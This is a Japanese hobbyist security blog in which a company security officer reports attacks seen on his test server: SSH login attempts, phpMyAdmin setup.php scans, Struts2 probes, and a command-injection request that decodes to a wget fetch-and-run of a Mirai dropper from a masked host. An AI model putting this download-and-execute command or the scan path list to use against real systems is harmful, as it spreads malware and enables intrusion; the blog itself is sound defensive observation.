fragiler’s Security blog

会社のセキュリティ担当になって早3年。最初は仕事のつもりがいろ面白くなって半分趣味みたいになってきました。まだまだ勉強中の身ですが、遊びがてら発見したセキュリティ関連の内容を書いていこうと思います。

sshに対する不正アクセス

前回から少し間が開いてしまいましたが、その間sshに対する大量のログイン試行がありました。

 

41時間かけて10分間隔でダラダラとログインを試していたようです。

以下がログイン試行に使われたアカウント達です。

f:id:fragiler:20170423223810p:plain

admin的なものもあればOS名もあればCMS名もあれば、testとかbotとかgitとかいろんなものを混ぜ合わせたリストですね。

 

なお、このログインが試された実験サーバは特定のアカウント以外はsshログインできないようにしており、証明書による認証も行っているので全く問題なし。

 

ただsshのポート番号を22から変更しているのですが、見つけた途端これだけのアカウントでログインを試すということは、sshのポートを探し出して見つけたらログインを試みるようなものがいるのでしょうね。

 

ちなみにsshポート番号を22のままにしておいた時は、毎日のようにログイン試行がありました。ポート番号を変えると少しはリスク低減になるのかもしれません。

 

phpMyAdminのスキャン

初めてこのログを見たときは少しびっくりしました。

40秒ほどのあいだに以下のログが記録されてて「ヤバい!なんかされてる!」と焦ってしまいましたが、ネットで調べてみるとたくさん報告されてますね。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
GET /scripts/setup.php HTTP/1.1
GET /admin/scripts/setup.php HTTP/1.1
GET /admin/pma/scripts/setup.php HTTP/1.1
GET /admin/phpmyadmin/scripts/setup.php HTTP/1.1
GET /db/scripts/setup.php HTTP/1.1
GET /dbadmin/scripts/setup.php HTTP/1.1
GET /myadmin/scripts/setup.php HTTP/1.1
GET /mysql/scripts/setup.php HTTP/1.1
GET /mysqladmin/scripts/setup.php HTTP/1.1
GET /typo3/phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpadmin/scripts/setup.php HTTP/1.1
GET /pma/scripts/setup.php HTTP/1.1
GET /web/phpMyAdmin/scripts/setup.php HTTP/1.1
GET /xampp/phpmyadmin/scripts/setup.php HTTP/1.1
GET /web/scripts/setup.php HTTP/1.1
GET /php-my-admin/scripts/setup.php HTTP/1.1
GET /websql/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2/scripts/setup.php HTTP/1.1
GET /_phpmyadmin/scripts/setup.php HTTP/1.1
GET /administrator/components/com_joommyadmin/phpmyadmin/scripts/setup.php HTTP/1.1
GET /apache-default/phpmyadmin/scripts/setup.php HTTP/1.1
GET /blog/phpmyadmin/scripts/setup.php HTTP/1.1
GET /cpanelphpmyadmin/scripts/setup.php HTTP/1.1
GET /cpphpmyadmin/scripts/setup.php HTTP/1.1
GET /forum/phpmyadmin/scripts/setup.php HTTP/1.1
GET /php/phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.1-pl2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.1-pl3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-pl3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-pl4/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.9/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-beta1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.7/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.2.3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.4/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.7/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.8/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.9/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.0-rc1-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.4.3.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.0.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.1.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin3/scripts/setup.php HTTP/1.1

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

これはphpMyAdmin脆弱性を狙う攻撃のスキャン行為とのこと。
先日のStrutsと同様、phpMyAdmin入れてないから関係ない…

 ネット上の過去の情報と比べるとVerの数字(「phpMyAdmin-3.1.2.0」とか)あたりの種類が増えてました。スキャンツールもどんどん更新されてるんでしょうね。

これらと同様のスキャンですが、3月中に計5回のスキャンが来ていました。
User-Agentを見ると

の2種類がありました。

Mozilla/5.0 Jorgee」は計4つのIPから来ているので、よく使われるツールなのか、このツールを使っている攻撃者がいろんなところのサーバを乗っ取っているのか…。

User-Agentを見てアクセス拒否することも可能なようなので、それで避けることもできそうです。
それ以外にも「標準設定のパスやファイル名使わない」とか、「コンソールへのアクセスをIPで制限する」とかできるようです。

根本的にはさっさとバージョンアップ…(システムの稼働などに問題なければ)

Mirai-BotnetのDropperを落とそうとするアクセス

Struts2攻撃と思われるものに交じって、こんなのが来てました。

 「GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%68%74%74%70%3A%2F
%2F%XX%XX%2E%XX%XX%XX%2E%XX%XX%XX%2E%XX%XX%3A%35%34%33
%32%31%2F%64%6C%72%2E%61%72%6D%3B%63%68%6D%6F%64%20%37%37
%37%20%2A%3B%2E%2F%64%6C%72%2E%61%72%6D HTTP/1.1」

 

文字列を調べてみたところ「URLデコード」という処理ができそうと分かったので、デコードしてみると…

cd /tmp;wget http://XX.XXX.XXX.XX:54321/dlr.arm;chmod 777 *;./dlr.arm

IPアドレス部分は伏字にしております)

 

何か外部からとってくる命令っぽかったので、wgetで「dlr.arm」とやらを取ってきてみました。

 

マルウェアかなぁと思い、とりあえずFileコマンドで調べると

[tmp]$ file dlr.arm
dlr.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

何かの実行ファイルっぽい。

 

さすがに実行はヤバそうなのでエディタで開いてみたら…

f:id:fragiler:20170327235737p:plain

Mirai???

GET部分を見てみると、Mirai.armとあるので、Mirai関連の実行ファイルでも落としてくるものなんですかね。

 

と、悶々としていたところ、某セキュリティ調査機関のメルマガでまったく同じものがレポートとして配信されていました。やっぱりwgetで手に入れたマルウェアはMiraiのDropperだったようです。

 

そのレポートによると、このアクセスは北アメリカと日本のサーバーを狙った攻撃キャンペーンで、コマンドインジェクションでDropperダウンロードさせて実行・感染⇒Mirai本体ダウンロードして感染⇒Botnet参加となるようです。

ただし感染には「BusyBox」とやらを導入している必要があるらしい。(←これまた良く分からないので、本日はこれまで…)

 

 

本日のstruts2探索状況

本日朝も以下のような探索ログが残っていました。

f:id:fragiler:20170327225036p:plain

始めから終わりまで10秒間かけて順番に該当するものがあるか試してるみたいです。

Strutsってデフォルトこういうディレクトリ構成なの???(私は知見がないためわからないです)

ちなみに発信元はドイツですねぇ。

過去のログに残っている発信元はチェコとかベネズエラとか中国なので、いろいろなところから探索が来てるようです。

ちなみにちなみに、User-Agentはどこから来ても以下1種類。

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36」

こういうのが設定されてるツールでも出回ってるんですかねぇ。

Apache Struts2で脆弱性(S2-045)のあるWebサイトの探索?

3/23以降、今話題のApache Struts2脆弱性(S2-045)を狙っているのかもしれないアクセスが急に来ていました。

f:id:fragiler:20170326012551p:plain

Struts2を利用していると「.aciton」がURLに付くというのをWeb上で見ましたので、上記は今回の脆弱性を狙う攻撃につながるアクセスなのかなぁと。

①②③⑥⑧あたりはIPを変えながら10件以上アクセスされてました。

それぞれデフォルトで使われるようなPATHなんですかねぇ。

だとしたらこれらのPATHが使われているWebサイトは対策を行っていないと不正アクセス許しちゃったり、改ざんとかされちゃうんでしょうねぇ。どれだけあるんだろう…。

 (私が立ち上げているサイトはStrutsを入れてない(そもそもスキルがない)ので、全部404で終了してます。)

 

今回の脆弱性を利用する攻撃はリクエストのヘッダー部にコードが仕込まれるということなので、これ以上分からないです。

HoneyPotを構築できればもっと詳しいことわかるんだろうけど。

はじめに・・・

某企業のセキュリティ担当者です。

日々社内や関連会社から相談受けたり、会社のルール作ったり、ウィルス感染が見つかれば端末没収(?)する仕事をしております。

とは言っても、まだまだ分からないことがたくさんあり、仕事に追われながら少しでも理解しようとネットや本で勉強をしています。

その勉強のひとつとして「生の情報を見てみよう!」と思い、インターネット上にサーバを立てて、そこにどんなアクセスが来るかを見てみようと思いました。

このブログはそんな担当者が日々見つけた「不審なアクセス」や「日々感じること」を気ままにアップするゆる~いブログにしたいと思います。

なので、更新も不定期のつもりです。さて、いつまで続けられることやら。。。